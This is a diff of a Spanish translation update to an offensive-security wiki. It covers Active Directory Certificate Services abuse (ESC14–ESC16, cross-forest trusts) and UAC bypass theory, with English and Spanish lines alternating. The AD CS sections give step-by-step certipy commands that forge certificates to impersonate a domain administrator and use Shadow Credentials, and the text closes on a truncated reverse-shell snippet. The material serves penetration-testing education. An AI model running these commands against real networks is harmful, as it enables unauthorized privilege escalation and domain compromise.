- **Precondición**: El objetivo tiene un mapeo explícito X509IssuerSubject en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509IssuerSubject del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo.
|
||||
|
||||
#### Scenario D: Target Has X509SubjectOnly Mapping
|
||||
#### Escenario D: El objetivo tiene un mapeo X509SubjectOnly
|
||||
|
||||
- **Precondición**: El objetivo tiene un mapeo explícito X509SubjectOnly débil en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509SubjectOnly del objetivo. Luego, el atacante puede inscribirse por un certificado como la víctima y usar ese certificado para autenticarse como el objetivo.
|
||||
- **Precondición**: El objetivo tiene un mapeo explícito X509SubjectOnly en `altSecurityIdentities`. El atacante puede establecer el atributo `cn` o `dNSHostName` en un principal víctima para que coincida con el subject del mapeo X509SubjectOnly del objetivo. Luego, el atacante puede inscribir un certificado como la víctima y usar este certificado para autenticarse como el objetivo.
|
||||
|
||||
### operaciones concretas
|
||||
#### Escenario A
|
||||
@ -757,28 +755,27 @@ Limpieza (opcional)
|
||||
```bash
|
||||
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
|
||||
```
|
||||
Para métodos de ataque más específicos en varios escenarios de ataque, consulte lo siguiente: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
|
||||
|
||||
## EKUwu Application Policies(CVE-2024-49019) - ESC15
|
||||
## Políticas de aplicación EKUwu (CVE-2024-49019) - ESC15
|
||||
|
||||
### Explanation
|
||||
### Explicación
|
||||
|
||||
La descripción en https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc es notablemente completa. A continuación se cita el texto original.
|
||||
La descripción en https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc es notablemente exhaustiva. A continuación se cita el texto original.
|
||||
|
||||
Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
|
||||
Usando plantillas de certificado versión 1 predeterminadas integradas, un atacante puede crear un CSR para incluir políticas de aplicación que se prefieran sobre los atributos configurados de Extended Key Usage especificados en la plantilla. El único requisito son los derechos de inscripción, y puede usarse para generar certificados de autenticación de cliente, agente de solicitud de certificado y certificados de firma de código usando la plantilla **_WebServer_**.
|
||||
|
||||
### Abuse
|
||||
|
||||
Lo siguiente hace referencia a [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
|
||||
### Abuso
|
||||
|
||||
Lo siguiente hace referencia a [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu)). Haz clic para ver métodos de uso más detallados.
|
||||
|
||||
El comando `find` de Certipy puede ayudar a identificar plantillas V1 que potencialmente son susceptibles a ESC15 si la CA no está parcheada.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Escenario A: Suplantación directa vía Schannel
|
||||
#### Escenario A: Direct Impersonation via Schannel
|
||||
|
||||
**Paso 1: Solicitar un certificado, inyectando la Application Policy "Client Authentication" y el UPN objetivo.** El atacante `attacker@corp.local` apunta a `administrator@corp.local` usando la plantilla "WebServer" V1 (que permite subject suministrado por el enrollee).
|
||||
**Paso 1: Solicitar un certificado, inyectando la Application Policy "Client Authentication" y el UPN objetivo.** El atacante `attacker@corp.local` apunta a `administrator@corp.local` usando la plantilla "WebServer" V1 (la cual permite subject suministrado por el enrollee).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -789,15 +786,15 @@ certipy req \
|
||||
```
|
||||
- `-template 'WebServer'`: La plantilla V1 vulnerable con "Enrollee supplies subject".
|
||||
- `-application-policies 'Client Authentication'`: Inyecta el OID `1.3.6.1.5.5.7.3.2` en la extensión Application Policies del CSR.
|
||||
- `-upn 'administrator@corp.local'`: Establece el UPN en el SAN para la suplantación.
|
||||
- `-upn 'administrator@corp.local'`: Establece el UPN en el SAN para suplantación.
|
||||
|
||||
**Paso 2: Autenticarse mediante Schannel (LDAPS) usando el certificado obtenido.**
|
||||
**Paso 2: Autentícate vía Schannel (LDAPS) usando el certificado obtenido.**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Escenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Paso 1: Solicitar un certificado desde una plantilla V1 (con "Enrollee supplies subject"), inyectando la Application Policy "Certificate Request Agent".** Este certificado es para que el atacante (`attacker@corp.local`) se convierta en un enrollment agent. No se especifica un UPN para la identidad del atacante aquí, ya que el objetivo es la capacidad de agente.
|
||||
**Paso 1: Solicitar un certificado de una plantilla V1 (con "Enrollee supplies subject"), inyectando la Application Policy "Certificate Request Agent".** Este certificado es para que el atacante (`attacker@corp.local`) se convierta en un enrollment agent. No se especifica ningún UPN para la propia identidad del atacante aquí, ya que el objetivo es la capacidad de agente.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -805,9 +802,9 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'WebServer' \
|
||||
-application-policies 'Certificate Request Agent'
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: Inyecta OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
- `-application-policies 'Certificate Request Agent'`: Injects OID `1.3.6.1.4.1.311.20.2.1`.
|
||||
|
||||
**Paso 2: Usa el certificado "agent" para solicitar un certificado en nombre de un usuario privilegiado objetivo.** Esto es un paso ESC3-like, usando el certificado del Paso 1 como el certificado agent.
|
||||
**Paso 2: Utiliza el certificado "agent" para solicitar un certificado en nombre de un usuario objetivo privilegiado.** Este es un paso similar a ESC3, utilizando el certificado del Paso 1 como el certificado de agente.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -815,27 +812,27 @@ certipy req \
|
||||
-ca 'CORP-CA' -template 'User' \
|
||||
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
|
||||
```
|
||||
**Paso 3: Autentícese como el usuario privilegiado usando el certificado "on-behalf-of".**
|
||||
**Paso 3: Autenticarse como el usuario privilegiado usando el certificado "on-behalf-of".**
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
```
|
||||
## Security Extension Disabled on CA (Globally)-ESC16
|
||||
## Extensión de seguridad deshabilitada en CA (globalmente)-ESC16
|
||||
|
||||
### Explicación
|
||||
|
||||
**ESC16 (Elevación de privilegios por ausencia de la extensión szOID_NTDS_CA_SECURITY_EXT)** se refiere al escenario en el que, si la configuración de AD CS no obliga la inclusión de la extensión **szOID_NTDS_CA_SECURITY_EXT** en todos los certificados, un atacante puede explotarlo mediante:
|
||||
**ESC16 (Elevación de privilegios mediante la ausencia de la extensión szOID_NTDS_CA_SECURITY_EXT)** se refiere al escenario donde, si la configuración de AD CS no obliga la inclusión de la extensión **szOID_NTDS_CA_SECURITY_EXT** en todos los certificados, un atacante puede explotarlo mediante:
|
||||
|
||||
1. Solicitar un certificado **sin SID binding**.
|
||||
|
||||
2. Usar este certificado **para autenticarse como cualquier cuenta**, por ejemplo, suplantando una cuenta de alto privilegio (p. ej., Domain Administrator).
|
||||
2. Usar este certificado **para autenticación como cualquier cuenta**, por ejemplo, suplantando una cuenta de altos privilegios (p. ej., un Domain Administrator).
|
||||
|
||||
También puedes consultar este artículo para aprender más sobre el principio detallado:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
También puedes consultar este artículo para aprender más sobre el principio detallado: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
|
||||
|
||||
### Abuso
|
||||
|
||||
Lo siguiente hace referencia a [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), haz clic para ver métodos de uso más detallados.
|
||||
Lo siguiente hace referencia a [este enlace](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Haz clic para ver métodos de uso más detallados.
|
||||
|
||||
Para identificar si el entorno de Active Directory Certificate Services (AD CS) es vulnerable a **ESC16**
|
||||
Para identificar si el entorno de Active Directory Certificate Services (AD CS) es vulnerable a **ESC16**
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
@ -853,18 +850,18 @@ certipy account \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Paso 3: (Si es necesario) Obtener credenciales para la cuenta "víctima" (p. ej., mediante Shadow Credentials).**
|
||||
**Paso 3: (Si es necesario) Obtener credenciales de la cuenta "víctima" (p. ej., vía Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**Paso 4: Solicite un certificado como el usuario "victim" desde _cualquier plantilla de client authentication adecuada_ (p. ej., "User") en la CA vulnerable a ESC16.** Debido a que la CA es vulnerable a ESC16, omitirá automáticamente la SID security extension del certificado emitido, independientemente de la configuración específica de la plantilla para esta extensión. Establezca la variable de entorno del caché de credenciales de Kerberos (comando de shell):
|
||||
**Step 4: Solicita un certificado como el usuario "victim" desde _cualquier plantilla de autenticación de cliente adecuada_ (p. ej., "User") en la CA vulnerable a ESC16.** Debido a que la CA es vulnerable a ESC16, omitirá automáticamente la extensión de seguridad SID del certificado emitido, independientemente de la configuración específica de la plantilla para esta extensión. Establece la variable de entorno del caché de credenciales de Kerberos (comando de shell):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
Luego solicita el certificado:
|
||||
Luego solicite el certificado:
|
||||
```bash
|
||||
certipy req \
|
||||
-k -dc-ip '10.0.0.100' \
|
||||
@ -886,19 +883,19 @@ certipy auth \
|
||||
```
|
||||
## Compromiso de bosques con certificados explicado en voz pasiva
|
||||
|
||||
### Ruptura de trusts entre bosques por CAs comprometidas
|
||||
### Ruptura de relaciones de confianza entre bosques por CAs comprometidas
|
||||
|
||||
La configuración para la **inscripción entre bosques** se facilita bastante. El **certificado root CA** del bosque de recursos es **publicado en los bosques de cuentas** por los administradores, y los **certificados de Enterprise CA** del bosque de recursos son **añadidos a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas**. Para aclarar, este arreglo otorga a la **CA en el bosque de recursos control completo** sobre todos los demás bosques para los que gestiona la PKI. Si esta CA fuese **comprometida por atacantes**, ellos podrían **forjar certificados para todos los usuarios** tanto del bosque de recursos como de los bosques de cuentas, rompiendo así la frontera de seguridad del bosque.
|
||||
La configuración para la inscripción entre bosques se hace relativamente sencilla. El certificado de la CA raíz del bosque de recursos es publicado en los bosques de cuentas por los administradores, y los certificados de las CA empresariales del bosque de recursos son añadidos a los contenedores `NTAuthCertificates` y AIA en cada bosque de cuentas. Para aclarar, mediante esta configuración se otorga a la CA del bosque de recursos control total sobre todos los demás bosques para los que gestiona la PKI. Si esta CA fuese comprometida por atacantes, podrían ser falsificados certificados para todos los usuarios tanto del bosque de recursos como de los bosques de cuentas, rompiendo así el límite de seguridad del bosque.
|
||||
|
||||
### Privilegios de inscripción otorgados a principales externas
|
||||
### Privilegios de inscripción concedidos a principales externos
|
||||
|
||||
En entornos multi-bosque, se requiere precaución con respecto a las Enterprise CAs que **publican plantillas de certificados** que permiten a **Authenticated Users o principales externas** (usuarios/grupos externos al bosque al que pertenece la Enterprise CA) **derechos de inscripción y edición**.\
|
||||
Tras la autenticación a través de un trust, AD añade el **Authenticated Users SID** al token del usuario. Por tanto, si un dominio posee una Enterprise CA con una plantilla que **permite derechos de inscripción a Authenticated Users**, una plantilla podría potencialmente ser **inscrita por un usuario de un bosque diferente**. De igual forma, si **los derechos de inscripción son explícitamente concedidos a un principal externo por una plantilla**, se **crea así una relación de control de acceso entre bosques (cross-forest access-control relationship)**, permitiendo que un principal de un bosque **se inscriba en una plantilla de otro bosque**.
|
||||
En entornos multi-bosque, se debe tener precaución con las CA empresariales que publican plantillas de certificado que permiten a Authenticated Users o a principales externos (usuarios/grupos ajenos al bosque al que pertenece la CA empresarial) derechos de inscripción y edición.\
|
||||
Tras la autenticación a través de una relación de confianza, AD añade el Authenticated Users SID al token del usuario. Por tanto, si un dominio posee una CA empresarial con una plantilla que concede derechos de inscripción a Authenticated Users, una plantilla podría ser inscrita por un usuario de otro bosque. Del mismo modo, si una plantilla concede explícitamente derechos de inscripción a un principal externo, se crea así una relación de control de acceso entre bosques, permitiendo que un principal de un bosque se inscriba en una plantilla de otro bosque.
|
||||
|
||||
Ambos escenarios provocan un **aumento de la superficie de ataque** de un bosque a otro. Los ajustes de la plantilla de certificado podrían ser explotados por un atacante para obtener privilegios adicionales en un dominio externo.
|
||||
Ambos escenarios incrementan la superficie de ataque de un bosque a otro. Los ajustes de la plantilla de certificado podrían ser explotados por un atacante para obtener privilegios adicionales en un dominio externo.
|
||||
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
|
||||
|
@ -4,26 +4,26 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita un **aviso de consentimiento para actividades con privilegios elevados**. Las aplicaciones tienen diferentes niveles de `integrity`, y un programa con un **nivel alto** puede realizar tareas que **podrían comprometer el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente que estas aplicaciones/tareas tengan acceso con nivel de administrador para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no deseados, pero no se considera un límite de seguridad.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita una **solicitud de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integrity`, y un programa con un **nivel alto** puede realizar tareas que **podrían potencialmente comprometer el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administradora** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso a nivel administrador para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
|
||||
|
||||
Para más información sobre los niveles de integridad:
|
||||
Para más info sobre los niveles de `integrity`:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Cuando UAC está activo, a un usuario administrador se le asignan 2 tokens: uno con privilegios de usuario estándar, para realizar acciones regulares a nivel normal, y otro con privilegios de administrador.
|
||||
Cuando UAC está activo, a un usuario administrador se le asignan 2 tokens: uno de usuario estándar, para realizar acciones normales a nivel regular, y otro con privilegios de administrador.
|
||||
|
||||
Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) explica cómo funciona UAC en profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específico a su organización a nivel local (usando secpol.msc), o configurarlo y desplegarlo vía Group Policy Objects (GPO) en un entorno de Active Directory. Las distintas configuraciones se tratan en detalle [aquí](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Group Policy que se pueden establecer para UAC. La siguiente tabla proporciona detalle adicional:
|
||||
Esta [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) explica en profundidad cómo funciona UAC e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC de forma específica para su organización a nivel local (usando secpol.msc), o configurarlo y desplegarlo mediante Group Policy Objects (GPO) en un entorno de dominio de Active Directory. Los distintos ajustes se analizan en detalle [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Group Policy que se pueden establecer para UAC. La siguiente tabla proporciona detalles adicionales:
|
||||
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deshabilitado |
|
||||
| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deshabilitado |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Solicitar consentimiento para binarios que no son de Windows |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Solicitar credenciales en el escritorio seguro |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Habilitado (predeterminado en Home) Deshabilitado (predeterminado en Enterprise) |
|
||||
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
|
||||
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
|
||||
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
|
||||
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deshabilitado |
|
||||
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Habilitado |
|
||||
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Habilitado |
|
||||
@ -32,21 +32,21 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec
|
||||
|
||||
### UAC Bypass Theory
|
||||
|
||||
Algunos programas se **autoelevan automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifests**_ la opción _**autoElevate**_ con valor _**True**_. El binario también tiene que estar **firmado por Microsoft**.
|
||||
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
|
||||
|
||||
Muchos procesos auto-elevados exponen **funcionalidad vía objetos COM o servidores RPC**, que pueden invocarse desde procesos que se ejecutan con integridad media (privilegios a nivel de usuario normal). Nota que COM (Component Object Model) y RPC (Remote Procedure Call) son métodos que usan los programas de Windows para comunicarse y ejecutar funciones entre procesos diferentes. Por ejemplo, **`IFileOperation COM object`** está diseñado para manejar operaciones de archivos (copiar, eliminar, mover) y puede autoelevar privilegios sin mostrar un aviso.
|
||||
Many auto-elevate processes expose **funcionalidad vía COM objects o RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
|
||||
|
||||
Ten en cuenta que se pueden realizar algunas comprobaciones, como verificar si el proceso se ejecutó desde el directorio **System32**, lo cual puede omitirse por ejemplo **inyectando en explorer.exe** u otro ejecutable ubicado en System32.
|
||||
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
|
||||
|
||||
Otra forma de sortear estas comprobaciones es **modificar el PEB**. Cada proceso en Windows tiene un Process Environment Block (PEB), que incluye datos importantes sobre el proceso, como su ruta ejecutable. Al modificar el PEB, los atacantes pueden falsificar (spoofear) la ubicación de su propio proceso malicioso, haciendo que parezca ejecutarse desde un directorio de confianza (como system32). Esta información falsificada engaña al objeto COM para autoelevar privilegios sin pedir confirmación al usuario.
|
||||
Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like System32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
|
||||
|
||||
Entonces, para **eludir** el **UAC** (elevar de nivel de integridad **medium** a **high**) algunos atacantes usan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso con nivel de integridad alto**.
|
||||
Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
|
||||
|
||||
Puedes **comprobar** el _**Manifest**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. (`sigcheck.exe -m <file>`) Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals).
|
||||
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
|
||||
|
||||
### Comprobar UAC
|
||||
### Check UAC
|
||||
|
||||
Para confirmar si UAC está habilitado haz:
|
||||
Para confirmar si UAC está habilitado, ejecuta:
|
||||
```
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
|
||||
|
||||
@ -62,45 +62,45 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||
ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
||||
```
|
||||
- Si **`0`**, entonces UAC no pedirá confirmación (como **desactivado**)
|
||||
- Si **`1`** se le **pide al administrador nombre de usuario y contraseña** para ejecutar el binario con privilegios elevados (on Secure Desktop)
|
||||
- Si **`2`** (**Notificarme siempre**) UAC siempre pedirá confirmación al administrador cuando intente ejecutar algo con privilegios elevados (on Secure Desktop)
|
||||
- Si **`3`** como `1` pero no es necesario en Secure Desktop
|
||||
- Si **`4`** como `2` pero no es necesario en Secure Desktop
|
||||
- Si **`5`**(**predeterminado**) solicitará al administrador que confirme la ejecución de binarios no pertenecientes a Windows con privilegios elevados
|
||||
- If **`0`** then, UAC won't prompt (like **disabled**)
|
||||
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
|
||||
- If **`3`** like `1` but not necessary on Secure Desktop
|
||||
- If **`4`** like `2` but not necessary on Secure Desktop
|
||||
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
Si el valor es **`0`**, entonces solo el usuario **RID 500** (**built-in Administrator**) puede realizar **tareas de administrador sin UAC**, y si es `1`, **todas las cuentas dentro del grupo "Administrators"** pueden hacerlo.
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
Si **`0`** (predeterminado), la cuenta **built-in Administrator** puede realizar tareas de administración remota y si **`1`** la cuenta built-in Administrator **no puede** realizar tareas de administración remota, a menos que `LocalAccountTokenFilterPolicy` esté establecido en `1`.
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
#### Summary
|
||||
|
||||
- Si `EnableLUA=0` o **no existe**, **no hay UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, no hay UAC para nadie**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, no hay UAC para RID 500 (Built-in Administrator)**
|
||||
- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`, UAC para todos**
|
||||
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
Toda esta información puede recopilarse usando el módulo **metasploit**: `post/windows/gather/win_privs`
|
||||
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
|
||||
|
||||
También puedes verificar los grupos de tu usuario y obtener el nivel de integridad:
|
||||
You can also check the groups of your user and get the integrity level:
|
||||
```
|
||||
net user %username%
|
||||
whoami /groups | findstr Level
|
||||
```
|
||||
## UAC bypass
|
||||
## Bypass de UAC
|
||||
|
||||
> [!TIP]
|
||||
> Tenga en cuenta que si tiene acceso gráfico a la víctima, UAC bypass es muy sencillo ya que simplemente puede hacer clic en "Yes" cuando aparezca el UAC prompt
|
||||
> Ten en cuenta que si tienes acceso gráfico a la víctima, el bypass de UAC es sencillo ya que puedes simplemente hacer clic en "Sí" cuando aparece el aviso de UAC
|
||||
|
||||
The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
|
||||
El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, tu proceso se está ejecutando en un contexto de integridad medio, y tu usuario pertenece al grupo de Administradores**.
|
||||
|
||||
Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Always) que si está en cualquiera de los otros niveles (Default).**
|
||||
Es importante mencionar que es **mucho más difícil bypassear el UAC si está en el nivel de seguridad más alto (Always) que si está en cualquiera de los otros niveles (Default).**
|
||||
|
||||
### UAC deshabilitado
|
||||
### UAC desactivado
|
||||
|
||||
Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puedes **execute a reverse shell with admin privileges** (nivel de integridad alto) usando algo como:
|
||||
Si UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puedes **ejecutar un reverse shell con privilegios de administrador** (nivel de integridad alto) usando algo como:
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
